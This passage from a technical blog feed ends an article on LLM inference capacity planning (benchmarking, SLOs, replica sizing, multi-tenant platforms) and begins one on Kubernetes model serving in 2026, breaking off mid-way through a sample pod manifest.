During overload, completed throughput may remain constant while the queue and incoming demand continue to grow.
Finished requests alone can make a saturated system appear stable.</p>
<p>For example, <a rel="noopener external" target="_blank" href="https://docs.vllm.ai/en/latest/usage/metrics/">vLLM production metrics</a> include queue depth, queue time,
prompt and generation lengths, TTFT, inter-token latency, prefill and decode time, and KV-cache signals.</p>
<p>The application explains <strong>what workload was created</strong>. The inference platform explains <strong>how the serving system
handled it</strong>. Without both views, it is difficult to distinguish between an overloaded model server, unexpectedly
large contexts, excessive calls per agent run, slow tools, retries, or contention with another tenant.</p>
<p>Store high-cardinality identifiers in traces or logs, not Prometheus labels.
Pseudonymize user and business identifiers.</p>
<h2 id="preserve-workload-shape-not-only-averages">Preserve workload shape, not only averages</h2>
<p>Averages can hide the cases that cause queues and SLO violations. At minimum, analyze:</p>
<ul>
<li>requests per second and per minute</li>
<li>concurrent LLM calls</li>
<li>active user or agent runs</li>
<li>input and output tokens over time</li>
<li>p50, p95, and p99 input length</li>
<li>p50, p95, and p99 output length</li>
<li>p95 and p99 total context length</li>
<li>LLM calls and tokens per run</li>
<li>cache-hit and shared-prefix behavior</li>
<li>retry and cancellation rates</li>
<li>traffic by time of day</li>
<li>peak-to-average ratio</li>
<li>expected growth</li>
<li>model mix</li>
</ul>
<p>Percentiles are useful for dashboards, but independent percentiles cannot reconstruct a workload.
Input length, output length, arrival time, scenario, and cache behavior are correlated.
Retain sanitized request metadata or a replayable trace so the benchmark preserves these relationships.</p>
<p>Arrival patterns matter too. A closed-loop test, in which each virtual user sends a new request only after the
previous one completes, reduces offered load when the server slows down. It can hide overload. For online serving,
prefer an open-loop test that sends requests according to a controlled arrival rate and burstiness. vLLM's serving
benchmark supports request-rate, burstiness, warm-up, detailed per-request output, and timed-trace replay.
<a rel="noopener external" target="_blank" href="https://mlcommons.org/benchmarks/inference-datacenter/">MLPerf's server scenario</a> follows the same general principle
by generating independent request arrivals and measuring the maximum rate that stays within a tail-latency constraint.</p>
<h2 id="a-defensible-benchmarking-process">A defensible benchmarking process</h2>
<p>Use the following loop for a new model or a material workload change.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="mermaid"><span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">flowchart</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> LR</span></span>
<span class="giallo-l"><span>    accTitle</span><span>: </span><span>The </span><span>LLM </span><span>capacity-planning </span><span>loop</span></span>
<span class="giallo-l"><span>    accDescr</span><span>: </span><span>Product </span><span>scenarios </span><span>produce </span><span>application </span><span>traces</span><span>. </span><span>Sanitized </span><span>traces </span><span>are </span><span>replayed </span><span>against </span><span>a </span><span>pinned </span><span>model </span><span>configuration</span><span>. </span><span>The </span><span>SLO </span><span>boundary </span><span>determines </span><span>the </span><span>initial </span><span>replica </span><span>count</span><span>, </span><span>which </span><span>is </span><span>then </span><span>validated </span><span>in </span><span>production </span><span>and </span><span>updated </span><span>with </span><span>new </span><span>telemetry</span><span>.</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    Scenarios</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Product scenarios</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"><span>    Telemetry</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Application telemetry</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"><span>    Replay</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Sanitized workload replay</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"><span>    Benchmark</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Single-replica benchmark</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"><span>    Boundary</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">SLO-constrained capacity</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"><span>    Plan</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Replica and reserve plan</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"><span>    Production</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Production validation</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    Scenarios </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> Telemetry</span></span>
<span class="giallo-l"><span>    Telemetry </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> Replay</span></span>
<span class="giallo-l"><span>    Replay </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> Benchmark</span></span>
<span class="giallo-l"><span>    Benchmark </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> Boundary</span></span>
<span class="giallo-l"><span>    Boundary </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> Plan</span></span>
<span class="giallo-l"><span>    Plan </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> Production</span></span>
<span class="giallo-l"><span>    Production </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> Telemetry</span></span></code></pre><p class="mermaid-caption">Figure 1. Capacity planning is a feedback loop, not a one-time calculation.</p>
<h3 id="1-pin-the-complete-serving-configuration">1. Pin the complete serving configuration</h3>
<p>Record:</p>
<ul>
<li>model checkpoint and revision</li>
<li>tokenizer and revision</li>
<li>precision or quantization</li>
<li>maximum context length</li>
<li>tensor, pipeline, expert, and data parallelism</li>
<li>chat template and reasoning settings</li>
<li>speculative decoding configuration</li>
<li>inference runtime and version</li>
<li>scheduler, batching, and KV-cache settings</li>
<li>GPU type, count, interconnect, CPU, memory, and software stack</li>
</ul>
<p>Changing any of these can affect memory usage, TTFT, TPOT, throughput, or quality. Rebenchmark after a material change.</p>
<h3 id="2-use-the-target-hardware">2. Use the target hardware</h3>
<p>Run a warm replica on the same hardware and topology as production. A benchmark on a different GPU,
interconnect, runtime version, or parallelism plan can support comparisons, but not final sizing.</p>
<h3 id="3-replay-representative-work">3. Replay representative work</h3>
<p>Use real, sanitized request metadata when available. Preserve the mix of workload classes, input and output lengths,
arrival times, generation settings, cache reuse, and retries. Send warm-up requests before collecting results.</p>
<p>Tools such as <a rel="noopener external" target="_blank" href="https://docs.vllm.ai/en/latest/cli/bench/serve/">vLLM Bench</a> and
<a rel="noopener external" target="_blank" href="https://docs.nvidia.com/aiperf/reference/ai-perf-metrics-reference">NVIDIA AIPerf</a> expose the latency and throughput
metrics needed for this experiment.</p>
<h3 id="4-increase-offered-load">4. Increase offered load</h3>
<p>Increase the request rate incrementally. GPU utilization is not the stopping criterion.
Continue until the system violates one or more constraints:</p>
<ul>
<li>TTFT or TPOT crosses its target</li>
<li>queue time grows without recovering</li>
<li>SLO attainment falls below the target</li>
<li>errors, timeouts, or cancellations rise</li>
<li>KV-cache pressure causes preemption or instability</li>
</ul>
<p>The highest stable rate before these failures is the sustainable capacity of that replica for that workload and SLO.</p>
<h3 id="5-repeat-and-record-variance">5. Repeat and record variance</h3>
<p>Run each important point more than once. Record the benchmark duration, warm-up plan, random seed or trace,
and complete configuration. Short tests may miss burst behavior, cache churn, thermal throttling, and long-tail requests.</p>
<h3 id="6-validate-the-full-deployment">6. Validate the full deployment</h3>
<p>A single-replica result is an input to the plan. Run the test again with the planned number
of replicas and the actual load-balancing strategy. Scaling can be non-linear due to cache affinity, routing, networking,
distributed execution, and uneven request placement.</p>
<p>Test failure and maintenance scenarios: replica loss, GPU node loss, rollout, rollback, and reduced capacity in another failure domain.</p>
<h2 id="turning-the-benchmark-into-a-capacity-plan">Turning the benchmark into a capacity plan</h2>
<p>For one stable workload mix, calculate:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>sustainable_load_per_replica =</span></span>
<span class="giallo-l"><span>    highest offered load at which the required SLO attainment is preserved</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>base_replicas =</span></span>
<span class="giallo-l"><span>    ceil(projected_peak_offered_load / sustainable_load_per_replica)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>reserve_replicas =</span></span>
<span class="giallo-l"><span>    capacity needed for failures, rollouts, and near-term growth</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>planned_replicas =</span></span>
<span class="giallo-l"><span>    base_replicas + reserve_replicas</span></span></code></pre>
<p>This is shorthand, not a universal scalar formula. Request rate, concurrency, input and output lengths, cache reuse,
and model mix must match the benchmark.
If the product has very different workload classes, you should benchmark the production mix or establish separate
capacity envelopes and admission rules.</p>
<p>The reserve should cover the actual failure topology. Losing one pod can remove a complete multi-GPU replica.
Losing one node can remove several replicas or an entire model shard. During a rollout, old and new versions may
need to coexist. The required reserve depends on placement, model topology, recovery time, and the product's permitted
degradation mode.</p>
<h2 id="capacity-on-a-shared-platform">Capacity on a shared platform</h2>
<p>A multi-tenant inference platform introduces another variable: <strong>other workloads</strong>.</p>
<p>Products using the same replicas compete for:</p>
<ul>
<li>scheduler and gateway queues</li>
<li>batching slots</li>
<li>KV cache</li>
<li>GPU compute and memory bandwidth</li>
<li>generated-token throughput</li>
</ul>
<p>Without per-tenant attribution, resource consumption cannot be measured reliably.
Every project should use a stable project identity and correlation IDs from the gateway to the inference server.</p>
<p>There are three common operating models:</p>
<table><thead><tr><th>Model</th><th>Characteristics</th><th>Suitable for</th></tr></thead><tbody>
<tr><td><strong>Shared replicas</strong></td><td>Potentially highest utilization, shared queues, quotas and concurrency limits</td><td>Small or non-critical workloads</td></tr>
<tr><td><strong>Dedicated replicas</strong></td><td>Separate serving endpoints and queues; GPU nodes may still be shared</td><td>Important products with predictable demand</td></tr>
<tr><td><strong>Reserved capacity</strong></td><td>Guaranteed GPU allocation or nodes, dedicated replicas, explicit failover reserve</td><td>Critical products with strict SLOs</td></tr>
</tbody></table>
<p>Maximum utilization and independent tenant SLOs conflict. Shared platforms need admission control, rate and
concurrency limits, tenant quotas, priorities, and an overload policy. Otherwise, one product can consume the queue
and KV cache needed by every other tenant.</p>
<p>Define the degradation policy explicitly. Options include rejecting excess requests with a retryable error,
restricting maximum context or output length, reducing agent parallelism, routing to a smaller model, pausing batch
traffic, or accepting a lower SLO for a defined workload class.</p>
<h2 id="a-practical-sizing-request">A practical sizing request</h2>
<p>Product teams can use this template when requesting capacity from the platform team.</p>
<h3 id="1-product-and-scenarios">1. Product and scenarios</h3>
<ul>
<li>product or service name</li>
<li>owner and technical contact</li>
<li>environments</li>
<li>workload classes</li>
<li>interactive, asynchronous, batch, or agentic execution</li>
<li>expected launch date and growth stages</li>
</ul>
<h3 id="2-model-candidates">2. Model candidates</h3>
<ul>
<li>exact model identifiers and revisions</li>
<li>tokenizer revision</li>
<li>quality-evaluation results</li>
<li>context-length requirement</li>
<li>reasoning, multimodal, tool-calling, or structured-output requirements</li>
<li>acceptable fallback models</li>
</ul>
<h3 id="3-workload-profile">3. Workload profile</h3>
<ul>
<li>expected active users or jobs</li>
<li>requests or agent runs per time window</li>
<li>LLM calls per run</li>
<li>input tokens p50, p95, and p99</li>
<li>output tokens p50, p95, and p99</li>
<li>context length p50, p95, and p99</li>
<li>concurrent LLM calls</li>
<li>peak-to-average ratio and burst duration</li>
<li>expected growth over the next 6-12 months</li>
<li>representative trace or dataset</li>
</ul>
<h3 id="4-slo">4. SLO</h3>
<ul>
<li>TTFT target and attainment percentage</li>
<li>ITL target and attainment percentage</li>
<li>request-level TPOT target and attainment percentage</li>
<li>end-to-end LLM latency</li>
<li>agent-run or job duration</li>
<li>queue-time limit</li>
<li>error and timeout rate</li>
<li>overload behavior</li>
</ul>
<h3 id="5-reliability-and-isolation">5. Reliability and isolation</h3>
<ul>
<li>shared, dedicated, or reserved capacity</li>
<li>required availability</li>
<li>acceptable capacity after a replica, GPU, node, or failure-domain loss</li>
<li>rollout and rollback requirements</li>
<li>maximum recovery time</li>
<li>allowed degradation modes</li>
</ul>
<h3 id="6-observability-and-data-handling">6. Observability and data handling</h3>
<ul>
<li>tracing system</li>
<li>token-usage collection</li>
<li>correlation IDs</li>
<li>prompt and application versioning</li>
<li>pseudonymization</li>
<li>retention and access rules</li>
<li>confirmation that sensitive prompts, outputs, tool arguments, source code, and documents are not recorded by
default</li>
</ul>
<p>If important data is missing, the platform team can only give a preliminary estimate with explicit assumptions and a wide range.</p>
<h2 id="common-sizing-mistakes">Common sizing mistakes</h2>
<p><strong>«We will have 400 users.»</strong></p>
<p>This describes the audience, not the load. Specify active-user behavior, scenario frequency, LLM calls per task, token
distributions, concurrency, and peaks.</p>
<p><strong>«The model fits on eight GPUs, so one node is enough.»</strong></p>
<p>Eight GPUs might be the minimum for one replica. That does not indicate how much SLO-compliant traffic the replica can handle or whether the product can survive a node failure.</p>
<p><strong>«We tested with 30 users and multiplied the result.»</strong></p>
<p>LLM inference is non-linear because of batching, queueing, cache pressure, and the distribution of request lengths.
Control the request rate and replay the workload instead.</p>
<p><strong>«Average latency is fine.»</strong></p>
<p>The average hides the long tail. Capacity is usually limited by p95 or p99 latency, queue time, errors, and
SLO attainment. For a low-volume workload, use a measurement window long enough to make tail percentiles meaningful.</p>
<p><strong>«The external API was fast.»</strong></p>
<p>External APIs can help evaluate model quality. Their hardware, batching, routing, and load are unknown, so their
performance does not predict a local deployment.</p>
<p><strong>«GPU utilization is below 100%, so capacity is available.»</strong></p>
<p>GPU utilization alone does not show queueing, KV-cache pressure, memory headroom, TTFT, TPOT, or the impact of another long request.</p>
<p><strong>«Our tracing tool will tell us how many GPUs to buy.»</strong></p>
<p>Application tracing explains the workload. Pair it with benchmarks and inference-server metrics to determine GPU capacity.</p>
<p><strong>«We will log everything and investigate later.»</strong></p>
<p>Capacity planning rarely requires storing raw prompts, responses, documents, source code, tool arguments, or terminal output.
Excess telemetry can create security and privacy risks without improving the calculation.</p>
<h2 id="further-reading">Further reading</h2>
<nav class="further-reading" aria-label="Sources and further reading">
  <ul>
<li><a rel="noopener external" target="_blank" href="https://docs.vllm.ai/en/latest/cli/bench/serve/">vLLM Bench: online serving benchmark</a>
<span class="further-reading-description">Reference CLI and metrics for benchmarking an OpenAI-compatible serving endpoint.</span></li>
<li><a rel="noopener external" target="_blank" href="https://docs.vllm.ai/en/latest/usage/metrics/">vLLM production metrics</a>
<span class="further-reading-description">Serving-system signals for latency, queues, token throughput, and KV-cache usage.</span></li>
<li><a rel="noopener external" target="_blank" href="https://docs.nvidia.com/aiperf/reference/ai-perf-metrics-reference">NVIDIA AIPerf metrics reference</a>
<span class="further-reading-description">Definitions for the latency and throughput metrics reported by NVIDIA AIPerf.</span></li>
<li><a rel="noopener external" target="_blank" href="https://www.usenix.org/conference/osdi24/presentation/zhong-yinmin">DistServe: goodput-optimized LLM serving</a>
<span class="further-reading-description">The OSDI paper that frames LLM serving capacity around SLO-constrained goodput.</span></li>
<li><a rel="noopener external" target="_blank" href="https://langfuse.com/docs/observability/overview">Langfuse observability overview</a>
<span class="further-reading-description">Tracing concepts for connecting LLM calls, retrieval, tools, and application logic.</span></li>
<li><a rel="noopener external" target="_blank" href="https://langfuse.com/docs/observability/data-model">Langfuse data model</a>
<span class="further-reading-description">How traces, observations, scores, and sessions represent an application workload.</span></li>
<li><a rel="noopener external" target="_blank" href="https://mlcommons.org/benchmarks/inference-datacenter/">MLPerf inference scenarios and metrics</a>
<span class="further-reading-description">Standard inference scenarios and latency constraints, including open-loop server testing.</span></li>
</ul>
</nav>

        
      ]]></description>
    </item>
    
    <item>
      <title>Kubernetes Model Serving in 2026: What Changed Since 2024</title>
      <pubDate>Sun, 26 Jul 2026 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/kubernetes-model-serving-in-2026/</link>
      <guid>https://akrisanov.com/kubernetes-model-serving-in-2026/</guid>
      <description xml:base="https://akrisanov.com/kubernetes-model-serving-in-2026/"><![CDATA[
        <p>Published: 2026-07-26</p>
        
        
          <p>In October 2024, <a rel="noopener external" target="_blank" href="https://www.linkedin.com/in/terrytangyuan/">Yuan Tang</a> published
<a rel="noopener external" target="_blank" href="https://terrytangyuan.github.io/2024/10/22/ai-ml-innovation-in-the-kubernetes-ecosystem/">AI/ML Innovation in the Kubernetes Ecosystem</a>.
The article described three important developments: Kubeflow Model Registry, KServe ModelCars, and TrustyAI.
It also pointed toward multi-node serving, inference-aware gateways, speculative decoding, low-rank adaptation
(LoRA) adapters, and APIs designed for generative AI.</p>
<p>Since then, Kubernetes model serving has developed into a stack of specialized control-plane and data-plane
components.</p>
<p>Kubernetes now has better primitives for distributing model files and allocating accelerators. Gateway API has
gained inference-aware extensions. KServe has introduced a separate API for generative inference. <code>LeaderWorkerSet</code>
has become a building block for multi-node model servers, while <a rel="noopener external" target="_blank" href="https://github.com/llm-d/llm-d/">llm-d</a> coordinates
routing and distributed inference optimizations around engines such as <a rel="noopener external" target="_blank" href="https://vllm.ai/">vLLM</a>.</p>
<p>These capabilities also introduce more controllers, APIs, compatibility constraints, and failure modes.</p>
<aside class="article-scope-note" aria-label="Ecosystem snapshot">
  <div class="article-scope-note-title">
    Ecosystem snapshot ·
    <time datetime="2026-07-26">July 26, 2026</time>
  </div>
  <div class="article-scope-note-body"><p>This article covers Kubernetes 1.36, KServe 0.18, the generally available Gateway API Inference Extension,
and related production model-serving projects. The ecosystem evolves quickly, so verify version compatibility
before adopting a particular combination.</p>
</div>
</aside>
<nav class="article-decision-guide" aria-label="Deployment guidance">
  <span class="article-decision-guide-label">Choose a deployment:</span>
  <a href="#case-1-one-model-one-or-a-few-replicas">Single model</a>
  <a href="#case-2-a-shared-production-llm-service">Shared LLM service</a>
  <a href="#case-3-models-that-require-several-nodes">Multi-node model</a>
  <a href="#case-4-large-scale-or-heterogeneous-inference">Heterogeneous inference</a>
</nav>
<h2 id="from-isolated-features-to-an-inference-stack">From isolated features to an inference stack</h2>
<p>The 2024 view centered on several individual improvements. By 2026, those features fit into a more explicit
architecture:</p>
<table><thead><tr><th>Concern</th><th>Typical approach in 2024</th><th>State in 2026</th></tr></thead><tbody>
<tr><td>Model distribution</td><td>Object storage, init containers, KServe ModelCars</td><td>Native OCI image volumes are stable; node-local model caches remain useful</td></tr>
<tr><td>Serving API</td><td>Mostly <code>InferenceService</code> and engine-specific manifests</td><td><code>InferenceService</code> for predictive serving; <code>LLMInferenceService</code> for generative AI</td></tr>
<tr><td>Request routing</td><td>Service-level or round-robin load balancing</td><td><code>InferencePool</code> plus inference-aware endpoint selection</td></tr>
<tr><td>Large-model execution</td><td>Custom multi-node deployments, often tied to Ray</td><td>LeaderWorkerSet-backed multi-node deployments and engine-native distributed modes</td></tr>
<tr><td>Prefill and decode</td><td>Usually colocated in the same replicas</td><td>Optional separation into specialized prefill and decode pools</td></tr>
<tr><td>Accelerator allocation</td><td>Device Plugins and extended resources</td><td>Stable DRA core, with driver-dependent adoption</td></tr>
<tr><td>Group scheduling</td><td>External batch schedulers or custom operators</td><td>Native workload-aware scheduling exists, but remains alpha</td></tr>
<tr><td>Model metadata</td><td>Early Kubeflow Model Registry</td><td>Kubeflow Hub combines registry and federated catalog capabilities</td></tr>
<tr><td>AI traffic policy</td><td>Product-specific gateways and middleware</td><td>A Kubernetes AI Gateway Working Group is standardizing common patterns</td></tr>
</tbody></table>
<p>Not every layer is mature. Inference now has dedicated components for its distributed-systems requirements.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="mermaid"><span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">flowchart</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> TD</span></span>
<span class="giallo-l"><span>    accTitle</span><span>: </span><span>The </span><span>layers </span><span>of </span><span>a </span><span>Kubernetes </span><span>model-serving </span><span>stack</span></span>
<span class="giallo-l"><span>    accDescr</span><span>: </span><span>Requests </span><span>pass </span><span>from </span><span>a </span><span>client </span><span>through </span><span>an </span><span>AI </span><span>gateway </span><span>and </span><span>Gateway </span><span>API </span><span>route </span><span>to </span><span>an </span><span>inference-aware </span><span>endpoint </span><span>picker</span><span>, </span><span>model-serving </span><span>workloads</span><span>, </span><span>and </span><span>the </span><span>underlying </span><span>GPU</span><span>, </span><span>network</span><span>, </span><span>cache</span><span>, </span><span>and </span><span>storage </span><span>infrastructure</span><span>.</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    Client</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Client</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    Gateway</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">`**AI or API gateway**</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    • Authentication</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    • Quotas and token limits</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    • Payload policy and guardrails`</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    Route</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Gateway API route</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    InferencePool</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">`**InferencePool + endpoint picker**</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    • Queue-aware routing</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    • Prefix/KV-cache affinity</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    • Model or adapter availability`</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    Workloads</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">`**Model-serving workloads**</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    • Single-node replicas</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    • Multi-node replicas</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    • Separate prefill and decode pools`</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    Infrastructure</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">`**Infrastructure**</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    GPU, network, local model cache,</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    and remote storage`</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    Client </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> Gateway</span></span>
<span class="giallo-l"><span>    Gateway </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> Route</span></span>
<span class="giallo-l"><span>    Route </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> InferencePool</span></span>
<span class="giallo-l"><span>    InferencePool </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> Workloads</span></span>
<span class="giallo-l"><span>    Workloads </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> Infrastructure</span></span></code></pre><p class="mermaid-caption">Figure 1. A production inference request crosses several independently operated layers.</p>
<p>KServe can manage much of this control plane. Gateway API Inference Extension defines the routing integration.
<code>LeaderWorkerSet</code> represents groups of pods that must operate together. <code>llm-d</code> provides distributed inference and
routing components. Engines such as vLLM or SGLang still execute the model.</p>
<p>Each component has a separate role despite some overlap.</p>
<h2 id="1-oci-image-volumes-simplify-model-delivery">1. OCI image volumes simplify model delivery</h2>
<p>The 2024 article explained why KServe introduced ModelCars: a model could be packaged into an OCI image and exposed
to the model server through a passive sidecar. This reused container-registry distribution and node caching instead
of downloading weights from object storage for every replica.</p>
<p>At that time, Kubernetes could pull an image but could not directly mount its filesystem as a volume. Kubernetes
1.31 introduced the <code>image</code> volume source as alpha. Kubernetes 1.33 promoted it to beta, and
<a rel="noopener external" target="_blank" href="https://kubernetes.io/blog/2026/04/22/kubernetes-v1-36-release/">Kubernetes 1.36 made OCI artifact and image volumes stable</a>.</p>
<p>A pod can now mount read-only content directly from an OCI registry:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">a</span><span style="color: light-dark(#1E66F5, #89B4FA);">piVersion</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> v</span><span style="color: light-dark(#40A02B, #A6E3A1);">1</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">k</span><span style="color: light-dark(#1E66F5, #89B4FA);">ind</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> P</span><span style="color: light-dark(#40A02B, #A6E3A1);">od</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">m</span><span style="color: light-dark(#1E66F5, #89B4FA);">etadata</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  n</span><span style="color: light-dark(#1E66F5, #89B4FA);">ame</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> m</span><span style="color: light-dark(#40A02B, #A6E3A1);">odel-server</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">s</span><span style="color: light-dark(#1E66F5, #89B4FA);">pec</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  c</span><span style="color: light-dark(#1E66F5, #89B4FA);">ontainers</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">    -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> n</span><span style="color: light-dark(#1E66F5, #89B4FA);">ame</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> s</span><span style="color: light-dark(#40A02B, #A6E3A1);">erver</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">      i</span><span style="color: light-dark(#1E66F5, #89B4FA);">mage</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> e</span><span style="color: light-dark(#40A02B, #A6E3A1);">xample.com/model-server:v1</span></span>
